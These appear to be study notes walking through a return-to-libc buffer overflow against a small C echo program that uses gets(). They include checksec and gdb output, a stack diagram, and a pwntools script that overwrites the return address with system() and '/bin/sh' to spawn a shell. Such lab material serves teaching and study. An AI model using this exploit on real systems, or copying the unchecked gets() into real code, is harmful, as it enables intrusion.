Return-to-libc 1

💡
Over-writing a return address to system() and its arguments to "/bin/sh"
#include <stdio.h>
#include <stdlib.h>char binsh[] = "/bin/sh";int main(void) {
echo();
return 0;
}void echo(void) {
char data[20];
gets(data); //writes input into data array
printf("%s\n", data);
}

Finding Vulnerability

The program implements a simple echo server: gets some input, prints it, quits.

We know that the stack is not executable because NX is enabled. Therefore no code injection is possible.

marco@testbed:~/2020/ret2libc$ checksec ropme
[*] '/home/marco/2020/ret2libc/ropme'
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

Return-to-libc attacks are a way to bypass stack protections like DEP/W ⊕\oplus X.

Program is vulnerable because of gets() (no boundary checking).

We want to call the libc function system("/bin/sh")

Exploting Vulnerability

We find the required addresses:

main() function 0x0804849a

echo() function 0x08048477

systemlibrary0xf7e26200

binsh variable 0x0804a020

We set a breakpoint inside the echo function and enter 16x 'A' .

We want the location of the saved eip of the caller (which ismainin this case) in order to overwrite its value with the address of system .

Starting program: /home/marco/2020/ret2libc/ropme < <(python3 -c "print('A'*16)")
Breakpoint 1, 0x0804849a in main ()
Breakpoint 2, 0x08048477 in echo ()(gdb) info frame
Stack level 0, frame at 0xffffd640:
eip = 0x8048477 in echo; saved eip = 0x80484ac
called by frame at 0xffffd660
Arglist at 0xffffd638, args:
Locals at 0xffffd638, Previous frame's sp is 0xffffd640
Saved registers:
ebx at 0xffffd634, ebp at 0xffffd638, eip at 0xffffd63c

How to read : At this moment the "saved eip" / return address ret has the value 0x80484ac

0x000...
|      ...      |
|---------------| <= esp
|      ...      |
| data          |
|      ...      |
|---------------| <= ebp (0xffffd640)
| sfp (old ebp) |
| ret adr       |
|---------------|
|      ...      | <- main()
0xFFF...

Now we calculate the padding size to overwrite ret .

Final payload:

#!/usr/bin/python2import sys
from pwn import *def main():
binsh = p32(0x0804a020)
system = p32(0xf7e26200)p = process(sys.argv[1])
p.sendline('A'*32 + system + 'B'*4 + binsh)
p.interactive()if __name__ == '__main__':
main()

would overwrite the return adress to system with the right argument ( binsh ).

(gdb) x/40wx $esp0xffffd610:     0xf7fc1000      0xf7fc1000      0x00000000      0x41414141
0xffffd620:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd630:     0x41414141      0x41414141      0x41414141      0xf7e26200 <- system
0xffffd640:     0x42424242      0x0804a020 <- binsh ...000      0xf7e01e81
0xffffd650:     0xf7fc1000      0xf7fc1000      0x00000000      0xf7e01e81
0xffffd660:     0x00000001      0xffffd6f4      0xffffd6fc      0xffffd684
0xffffd670:     0x00000001      0x00000000      0xf7fc1000      0xf7fe575a
0xffffd680:     0xf7ffd000      0x00000000      0xf7fc1000      0x00000000
0xffffd690:     0x00000000      0x246bc54f      0x1bfb835f      0x00000000
0xffffd6a0:     0x00000000      0x00000000      0x00000001      0x08048340